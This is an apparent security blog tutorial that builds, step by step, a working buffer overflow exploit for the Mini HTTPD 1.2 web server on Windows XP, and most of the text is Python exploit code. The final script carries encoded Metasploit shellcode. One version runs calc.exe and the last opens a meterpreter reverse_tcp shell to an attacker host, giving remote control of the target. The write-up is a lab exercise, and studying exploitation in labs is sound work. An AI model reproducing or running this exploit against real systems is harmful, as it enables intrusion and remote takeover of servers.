Mini HTTPD 1.2 Exploit writing from scratch.

Introduction

Some time ago since I wrote my last post cause lately between work, trainings, conferences and some software development my “Free Time” suffered a “Buffer Overflow”.

But hey, now found some time and I decided to create the first entry about “Exploiting” of hardsec.net.

We will see how to develop an exploit step by step for “Mini HTTPD”. You can find it at http://www.vector.co.jp/soft/winnt/net/se275154.html or here in this post.

I’ll try to explain the process step by step, including the mistakes I’ve been making during the development, the cause of these errors and how I solved it.

Tools

We are going to use the following tools: A Kali Linux virtual machine, a Windows XP Sp3 virtual machine, Immunity Debugger and mona.py an excellent Immunity plugin that makes our life easier on exploit writing for Windows.

On Windows XP install “Immunity Debugger” and once installed, drop “mona.py” on the “PyCommands” folder inside the Immunity parent folder. Later unzip the file minihttpd120.lzh which creates “minihttpd” folder containing several files, including “minihttpd.exe”. Just run the file, and you can open a browser and go to “http://localhost” where we receive an 404 error “Object Not Found”. Mini HTTPD server is working.

Exploit

The server has a buffer overflow vulnerability when a client send a GET/POST request with very large URL. Using the following code we can trigger the vulnerability and produce a crash.

import sys
import socket

buffer = 'A' * 1000
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Here we can see the result of the exploit execution with “minihttpd.exe” attached to Immunity Debugger.
minihttpd1

In red, we can see that there is an access violation trying to execute the code at “41414141” address. That address is the hexadecimal representation of “AAAA”. It is clear that we can control the instruction pointer (EIP). That means that it is possible to change the program behavior.

Now, using “mona.py” we can look for the offset needed to overwrite the saved EIP and figure how many space we have to inject our code, the shellcode (the value we are overwriting is not EIP directly, EIP is a read only register, we overwrite the value from EIP that is saved in the stack before the program calls a function. That value is used after the function execution to return to the program main flow, so it is restored into the EIP register).

First, let’s set up “mona” to work on a different folder for each process we want do debug, and then we can create a unique pattern of 1000 bytes.

!mona config -set workingfolder c:\logs\%p
!mona pc 1000

This will create the file “c:\logs\minihttpd\pattern.txt” with the thousand bytes pattern inside. We just copy the pattern into our exploit and execute it again.

Here is our proof of concept (POC):

import sys
import socket

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Once executed and program crashed, we use “!mona findmsp” to look for the pattern inside the process memory, and to calculate the offsets we need to build an exploit.

minihttpd2

We can see in the image above that saved EIP is overwritten after 967 bytes, and that ESP points to the pattern at offset 971 with a 29 bytes length. We can repeat this process with a 2000 bytes pattern to figure if we have more space on ESP.

Making tests with different buffer sizes, finally I decided to use one of 1500 bytes. With this buffer, we have 105 bytes on ESP (not enough space to allocate the shellcode, but enough to execute some code). ESI is pointing to the pattern at offset 255, saved EIP at 967 and ESP at 971.

Mona, even show us some other places where we can find the pattern on memory with no corruption.

Next step is to verify the offsets. We change our code for the following:

import sys
import socket

offset_eip = 967
EIP = 'BBBB'
ESP = 'CCCC'
ESI = 'DDDD'
buffer = 'A' * 225
buffer += ESI
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

We execute the exploit and watch what happened on the debugger. Here the CPU registers.

minihttpd3

As we can see, EIP is equal to “42424242” (BBBB), ESP pointing to a memory zone starting with “CCCC” followed by a set of E and the same with ESI pointing to a memory that contains “DDDD” followed by a set of A. Our the offsets are ok.

The victim box is a Windows XP SP3 English, with no DEP enabled and no ASLR. Our approach will be to inject the shellcode somewhere in the buffer before the EIP overwrite, use the address on memory of a “jmp ESP” instruction (if we could find that address inside the binary itself will be perfect), and use the space available where ESP is pointing to make a jump backwards to the shellcode.

First we need to find a “jmp esp” instruction to use. Inside Immunity debugger, we execute:

!mona jmp –r esp

The command above will create the file  “c:\logs\minihttpd\jmp.txt”. Inside of it, there are a list of “jmp esp” like instructions founded in memory, with the name of the corresponding module attached to it. To build a reliable exploit is it better to use an instruction inside the binary itself or in one of the program DLLs ensuring the exploit works on different Windows flavors, but in this case this wont be possible because the only one “jmp esp” on “minihttpd.exe” is on an address starting with a null byte. We just used an instruction inside a system DLL.

0x7c91fcd8 : jmp esp  (C:\WINDOWS\system32\ntdll.dll)

We modify or exploit, putting this address en EIP (remember to use little endian because of the Intel architecture), and putting some breakpoints  “\xcc” on ESP to ensure the program stops here.

import sys
import socket
import struct

offset_eip = 967
EIP = struct.pack('<I', 0x7c91fcd8) # jmp esp ntdll.dll
ESP = '\xcc\xcc\xcc\xcc'
buffer = 'A' * offset_eip
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

After executing the exploit we get…

minihttpd4

As we can see, execution stops on the first breakpoint we put in front of the set of E (0×45).

Next step is to put on the memory pointed by ESP the opcodes of a backward jump. To get that opcodes, we will use “metasm” a tool inside “Metasploit-framework”.

We know the execution is on ESP so the start of the buffer is 971 bytes before. Using “metasm” we get the opcodes of a 971 bytes backward jump.

minihttpd5

We have to put that opcodes in our exploit. (Note that we put the offset in decimal. I you want to specify an hex offset inside metasm, you have to put an “h” after the number. Ex: jmp $-3e8h).

Here is the exploit modified with some breakpoints at the start of the buffer. We put a breakpoint inside Immunity on the address 0x7c91fcd8 (jmp esp address) to trace the execution step by step and figure where we land the jump.

import sys
import socket
import struct

offset_eip = 967
EIP = struct.pack('<I', 0x7c91fcd8) # jmp esp ntdll.dll
ESP = '\xe9\x30\xfc\xff\xff'
shellcode = '\xcc' * 20
buffer = shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Once the exploit executed, the breakpoint is reached at the “jmp esp” instruction. Pushing F7 we execute the jump and reach the backward jump we codified. Hit on F7 again and we made the jump and land in a zone full of A’s. We can’t find the breakpoints we put at the start of the buffer. That means we are reaching the buffer, but not at the start. To figure out the position on the buffer we are landing, we used another unique pattern. Just create a pattern of 967 bytes and put it on the buffer in front of the EIP value. Then we execute again with the breakpoint in the “jmp esp” and trace until we land de jump.

minihttpd6

We land on a memory address containing “33417634” (3Av4). Using the “mona” option “pattern offset” we found the offset we need.

minihttpd7

As we can see “3Av4” is at offset 641 on the pattern, so we can put our shellcode at offset 641 in the buffer. Cause EIP is overwritten at offset 967, we only have 326 bytes available for the shellcode. Looking a little bit on the memory we land (using the exploit with As) we can get 10 bytes more for the shellcode, cause we where not landing at the first A on memory. So making a 981 bytes backward jump, we reach the first A and getting the offset again using the pattern, we found it at offset 631. Now the space available for shellcode is 336 bytes.

Now we can use “Metasploit-Framework” to create a shellcode and inject it on the exploit, but first we need to figure out the “Bad Characters” (bytes we can’t use on the buffer cause they break the exploit).

To figure out the bad chars, we use “!mona bytearry” option. This creates two files on the working folder, one “bytearray.txt” with the array to put on the exploit, and the other “bytearray.bin”, a file to compare with the array in memory using “!mona compare” command. If the array on memory is different than the array on file, “mona” tells you what bytes are causing it, and you can remade the array without those bytes. Once all bad characters are stripped from the array, “mona” tells you that the array on memory is “unmodified”.

As we are attacking a Web Server, we already can exclude some characters that we know that are going to break the url, like the null byte, the blank space, the “/” sign and the “?” sign.

We generate our first bytearray with the command “!mona bytearray –cpb ‘\x00\x20\x2f\x3f’”, copy that array in our exploit, and executed with our breakpoint put on “jmp esp”.

import sys
import socket
import struct

offset_eip = 967
offset_shellcode = 641
EIP = struct.pack('<I', 0x7c91fcd8) # jmp esp ntdll.dll
ESP = '\xe9\x26\xfc\xff\xff'
buffer = 'A' * offset_shellcode
shellcode = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21"
"\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x40\x41"
"\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61"
"\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1"
"\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1"
"\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1"
"\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Once executed we got an access violation with the EIP register equal to “45454545”. That’s because some chars are breaking the buffer and the offset to overwrite EIP has been changed. We try to look back on the stack to find our bytearray and we found it at “0x00c8DADC” (this address may vary on different systems). As we can see in the following image, the array starts with “0x0E” and not with “0×01” as we expected.

minihttpd8

Probably the byte before “0x0E” is a bad char. We create the bytearray again excluding “0x0d” (!mona bytearray –cpb ‘\x00\x0d\x20\x2f\x3f’), and repeat the whole process.

We got the same result, so we strip “0x0C”. Again the same, so we strip “0x0d” too. Same  with “0x0b”, “0x0a” and “0×09”. Now the value that overwrite EIP is “41414141”.

minihttpd9

Now we see that the bytearray starts with “0×01” as we expecte on the address 0x00C8DB22. Let’s try with “mona compare”.

!mona compare -f c:\logs\minihttpd\bytearray.bin -a 0x00c8db22

minihttpd10

Mona comparison results is “Unmodified”, so we already have identified all the bad chars for this exploit.

The last bytearray used was created by:

!mona bytearray -cpb '\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f'

So  “\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f’” are all bad chars.

Now we create a Metasploit payload encoded with no bad chars. At the moment we just want to execute “calc.exe” on the victim box.

minihttpd11

We put the payload in the exploit and execute it with the breakpoint on the “jmp esp” instruction.

import sys
import socket
import struct

# Bad Chars: \x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f'
# Shellcode max size 336 bytes.
offset_eip = 967
offset_shellcode = 631
EIP = struct.pack('<I', 0x7c91fcd8) # jmp esp ntdll.dll
ESP = '\xe9\x26\xfc\xff\xff'
buffer = 'A' * offset_shellcode
# windows/exec CMD=calc.exe
# x86/shikata_ga_nai succeeded with size 227 (iteration=1)
shellcode = (
"\xda\xdc\xbb\xba\x45\x96\x78\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x33\x31\x58\x17\x03\x58\x17\x83\x52\xb9\x74\x8d\x5e\xaa\xf0"
"\x6e\x9e\x2b\x63\xe6\x7b\x1a\xb1\x9c\x08\x0f\x05\xd6\x5c\xbc"
"\xee\xba\x74\x37\x82\x12\x7b\xf0\x29\x45\xb2\x01\x9c\x49\x18"
"\xc1\xbe\x35\x62\x16\x61\x07\xad\x6b\x60\x40\xd3\x84\x30\x19"
"\x98\x37\xa5\x2e\xdc\x8b\xc4\xe0\x6b\xb3\xbe\x85\xab\x40\x75"
"\x87\xfb\xf9\x02\xcf\xe3\x72\x4c\xf0\x12\x56\x8e\xcc\x5d\xd3"
"\x65\xa6\x5c\x35\xb4\x47\x6f\x79\x1b\x76\x40\x74\x65\xbe\x66"
"\x67\x10\xb4\x95\x1a\x23\x0f\xe4\xc0\xa6\x92\x4e\x82\x11\x77"
"\x6f\x47\xc7\xfc\x63\x2c\x83\x5b\x67\xb3\x40\xd0\x93\x38\x67"
"\x37\x12\x7a\x4c\x93\x7f\xd8\xed\x82\x25\x8f\x12\xd4\x81\x70"
"\xb7\x9e\x23\x64\xc1\xfc\x29\x7b\x43\x7b\x14\x7b\x5b\x84\x36"
"\x14\x6a\x0f\xd9\x63\x73\xda\x9e\x9c\x39\x47\xb6\x34\xe4\x1d"
"\x8b\x58\x17\xc8\xcf\x64\x94\xf9\xaf\x92\x84\x8b\xaa\xdf\x02"
"\x67\xc6\x70\xe7\x87\x75\x70\x22\xe4\x18\xe2\xae\xc5\xbf\x82"
"\x55\x1a"
)
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Once the breakpoint reached, we hit F7 twice and see where is landing the execution flow.

minihttpd12

We can see that we are at the start of our shellcode (\xda\xdc\xbb). We hit F9 to continue with the execution. If all goes well, the calculator must appear on the victim box, but instead we got an access violation.

Repeat the process and when the shellcode is reached (after backward jump) check out where is pointing ESP.

minihttpd13

ESP is pointing to a memory zone below the EIP on the stack, so it is possible that if the shellcode push and pops values from the stack, the shellcode itself could be corrupted.

To solve that problem, we have to move ESP above the address where EIP is pointing (the address where our shellcode is). Let’s use “metasm” to get the opcodes.

The idea is to substract 1000 bytes from ESP.

minihttpd14

As we can see, the opcodes has null bytes, so we can’t use it. This can be solved making an add operation with a negative value.

minihttpd15

We get the same result, but this time with no null bytes. Now we put this opcodes before the backward  jump on the exploit.

import sys
import socket
import struct

# Bad Chars: \x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f'
# Shellcode max size 336 bytes.
offset_eip = 967
offset_shellcode = 631
EIP = struct.pack('<I', 0x7c91fcd8) # jmp esp ntdll.dll

ESP = '\x81\xc4\x18\xfc\xff\xff' # add esp,-3e8h
ESP += '\xe9\x26\xfc\xff\xff' # jmp back

buffer = 'A' * offset_shellcode
# windows/exec CMD=calc.exe
# x86/shikata_ga_nai succeeded with size 227 (iteration=1)
shellcode = (
"\xda\xdc\xbb\xba\x45\x96\x78\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x33\x31\x58\x17\x03\x58\x17\x83\x52\xb9\x74\x8d\x5e\xaa\xf0"
"\x6e\x9e\x2b\x63\xe6\x7b\x1a\xb1\x9c\x08\x0f\x05\xd6\x5c\xbc"
"\xee\xba\x74\x37\x82\x12\x7b\xf0\x29\x45\xb2\x01\x9c\x49\x18"
"\xc1\xbe\x35\x62\x16\x61\x07\xad\x6b\x60\x40\xd3\x84\x30\x19"
"\x98\x37\xa5\x2e\xdc\x8b\xc4\xe0\x6b\xb3\xbe\x85\xab\x40\x75"
"\x87\xfb\xf9\x02\xcf\xe3\x72\x4c\xf0\x12\x56\x8e\xcc\x5d\xd3"
"\x65\xa6\x5c\x35\xb4\x47\x6f\x79\x1b\x76\x40\x74\x65\xbe\x66"
"\x67\x10\xb4\x95\x1a\x23\x0f\xe4\xc0\xa6\x92\x4e\x82\x11\x77"
"\x6f\x47\xc7\xfc\x63\x2c\x83\x5b\x67\xb3\x40\xd0\x93\x38\x67"
"\x37\x12\x7a\x4c\x93\x7f\xd8\xed\x82\x25\x8f\x12\xd4\x81\x70"
"\xb7\x9e\x23\x64\xc1\xfc\x29\x7b\x43\x7b\x14\x7b\x5b\x84\x36"
"\x14\x6a\x0f\xd9\x63\x73\xda\x9e\x9c\x39\x47\xb6\x34\xe4\x1d"
"\x8b\x58\x17\xc8\xcf\x64\x94\xf9\xaf\x92\x84\x8b\xaa\xdf\x02"
"\x67\xc6\x70\xe7\x87\x75\x70\x22\xe4\x18\xe2\xae\xc5\xbf\x82"
"\x55\x1a"
)
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Execute the exploit again with the breakpoint on the “jmp esp” instruction, and check out what happened to ESP. We saw that we effectively move ESP to a location above EIP, but the exploit is not working yet.

First problem we faced, is that we are landing in the middle of our shellcode cause we add some bytes (6 bytes) between the shellcode and the jump instruction. So we need to recalculate the jump (before we jump 981 bytes, so now we need to jump 987 bytes).

minihttpd16

That’s the jump we need to make, but it has a problem. It contains the “0×20” byte and this one is a bad character. We use instead the value “0×21” and move the shellcode one byte away.

The exploit still not working, and with a deeper memory analisys we realized that the shellcode where we where jumping is not complete, a series of “0×41” bytes cut it.

minihttpd17

This is the main reason why the exploit is not working. If we follow down the memory, after all the “INC ECX” instructions (opcode 41), we found our shellcode again at 0x00c8db19 address, and this time it is complete.

minihttpd18

Our current jump is landing on 0x00c8d898 and now we want to land in 0x00c8db19. Making a substraction 0x00c8db19 – 0x00c8d898 = 0×280 (641 bytes in decimal). So we need to make a jump of about 346 bytes instead of the 987 bytes jump we were making. (After tracing it with the Debugger, the exact jump needed in our exploit was 345 bytes long).

This is the exploit code:

import sys
import socket
import struct

# Bad Chars: \x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f'
# Shellcode max size 336 bytes.
offset_eip = 967
offset_shellcode = 632
EIP = struct.pack('<I', 0x7c91fcd8) # jmp esp ntdll.dll
ESP = '\x81\xc4\x18\xfc\xff\xff' # add esp,-3e8h (1000 bytes)
ESP += '\xe9\xa2\xfe\xff\xff' # jmp $-345
buffer = 'A' * offset_shellcode
# windows/exec CMD=calc.exe
# x86/shikata_ga_nai succeeded with size 227 (iteration=1)
shellcode = (
"\xda\xdc\xbb\xba\x45\x96\x78\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x33\x31\x58\x17\x03\x58\x17\x83\x52\xb9\x74\x8d\x5e\xaa\xf0"
"\x6e\x9e\x2b\x63\xe6\x7b\x1a\xb1\x9c\x08\x0f\x05\xd6\x5c\xbc"
"\xee\xba\x74\x37\x82\x12\x7b\xf0\x29\x45\xb2\x01\x9c\x49\x18"
"\xc1\xbe\x35\x62\x16\x61\x07\xad\x6b\x60\x40\xd3\x84\x30\x19"
"\x98\x37\xa5\x2e\xdc\x8b\xc4\xe0\x6b\xb3\xbe\x85\xab\x40\x75"
"\x87\xfb\xf9\x02\xcf\xe3\x72\x4c\xf0\x12\x56\x8e\xcc\x5d\xd3"
"\x65\xa6\x5c\x35\xb4\x47\x6f\x79\x1b\x76\x40\x74\x65\xbe\x66"
"\x67\x10\xb4\x95\x1a\x23\x0f\xe4\xc0\xa6\x92\x4e\x82\x11\x77"
"\x6f\x47\xc7\xfc\x63\x2c\x83\x5b\x67\xb3\x40\xd0\x93\x38\x67"
"\x37\x12\x7a\x4c\x93\x7f\xd8\xed\x82\x25\x8f\x12\xd4\x81\x70"
"\xb7\x9e\x23\x64\xc1\xfc\x29\x7b\x43\x7b\x14\x7b\x5b\x84\x36"
"\x14\x6a\x0f\xd9\x63\x73\xda\x9e\x9c\x39\x47\xb6\x34\xe4\x1d"
"\x8b\x58\x17\xc8\xcf\x64\x94\xf9\xaf\x92\x84\x8b\xaa\xdf\x02"
"\x67\xc6\x70\xe7\x87\x75\x70\x22\xe4\x18\xe2\xae\xc5\xbf\x82"
"\x55\x1a"
)
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

And this is the result of it’s execution:

minihttpd19

PWNED!!!

But we don’t want to execute a calculator, we want a remote shell on the victims box, so let’s change the exploit and add a “reverse_tcp” meterpreter payload on it.

First we create the payload and check that fits on the space we have available.

minihttpd20

Payload is 314 bytes long, so in theory It fits well on the buffer. The exploit with the new payload on it is the following:

import sys
import socket
import struct

# Bad Chars: \x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f'
# Shellcode max size 336 bytes.
offset_eip = 967
offset_shellcode = 632
EIP = struct.pack('<I', 0x7c91fcd8) # jmp esp ntdll.dll
ESP = '\x81\xc4\x18\xfc\xff\xff' # add esp,-3e8h (1000 bytes)
ESP += '\xe9\xa2\xfe\xff\xff' # jmp $-345
buffer = 'A' * offset_shellcode
# windows/meterpreter/reverse_tcp LHOST=192.168.65.140
# x86/shikata_ga_nai succeeded with size 314 (iteration=1)
shellcode = (
"\xb8\x54\x28\xa2\x05\xd9\xc1\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x48\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xa1\xd4\x4a\x83"
"\x49\x25\x8b\xec\xc0\xc0\xba\x3e\xb6\x81\xef\x8e\xbd\xc4\x03"
"\x64\x93\xfc\x90\x08\x3b\xf2\x11\xa6\x1d\x3d\xa1\x06\xa1\x91"
"\x61\x08\x5d\xe8\xb5\xea\x5c\x23\xc8\xeb\x99\x5e\x23\xb9\x72"
"\x14\x96\x2e\xf7\x68\x2b\xc4\x4b\x7d\x2b\x39\x19\x7c\x1a\xec"
"\x16\x27\xbc\x0e\xfb\x53\xf5\x08\x18\x5f\x4f\xa2\xea\x2b\x4e"
"\x62\x23\xd3\x60\x4a\xef\xea\x4c\x47\xee\x2b\x6a\xb8\x85\x47"
"\x88\x45\x9d\x93\xf2\x91\x28\x06\x54\x51\x8a\xe2\x64\xb6\x4c"
"\x60\x6a\x73\x1b\x2e\x6f\x82\xc8\x44\x8b\x0f\xef\x8a\x1d\x4b"
"\xcb\x0e\x45\x0f\x72\x16\x23\xfe\x8b\x48\x8b\x5f\x29\x02\x3e"
"\x8b\x44\x49\x57\x78\x64\x72\xa7\x16\xff\x01\x95\xb9\xab\x8d"
"\x95\x32\x75\x49\xd9\x68\xc1\xc5\x24\x93\x31\xcf\xe2\xc7\x61"
"\x67\xc2\x67\xea\x77\xeb\xbd\xbc\x27\x43\x6e\x7c\x98\x23\xde"
"\x14\xf2\xab\x01\x04\xfd\x61\x2a\xae\x07\xe2\x95\x86\x49\x7e"
"\x7d\xd4\x49\x6f\x22\x51\xaf\xe5\xca\x37\x67\x92\x73\x12\xf3"
"\x03\x7b\x89\x79\x03\xf7\x3d\x7d\xca\xf0\x48\x6d\xbb\xf0\x07"
"\xcf\x6a\x0e\xb2\x7a\x93\x9a\x38\x2d\xc4\x32\x42\x08\x22\x9d"
"\xbd\x7f\x38\x14\x2b\xc0\x57\x59\xbb\xc0\xa7\x0f\xd1\xc0\xcf"
"\xf7\x81\x92\xea\xf7\x1c\x87\xa6\x6d\x9e\xfe\x1b\x25\xf6\xfc"
"\x42\x01\x59\xfe\xa0\x93\xa6\x29\x8d\x11\xde\x5f\xfd\xd9"
)
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Now we put a “Metasploit handler” listening on default port (4444) of the attacker box IP (192.168.65.140).
minihttpd21

And lauched our exploit.

minihttpd22

PWNED!!! We got a remote shell on the Windows XP box.

That’s all folks.

In future posts I’ll show you how to modify this exploit to avoid DEP and ASLR protections and making it work on a Windows 7 box. I will also show you how to migrate from this Python script to a Ruby Metasploit module.

Hope you enjoyed the post. Regards.

Posted in Exploiting, win32

Leave a Reply

Your email address will not be published. Required fields are marked *

*


You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>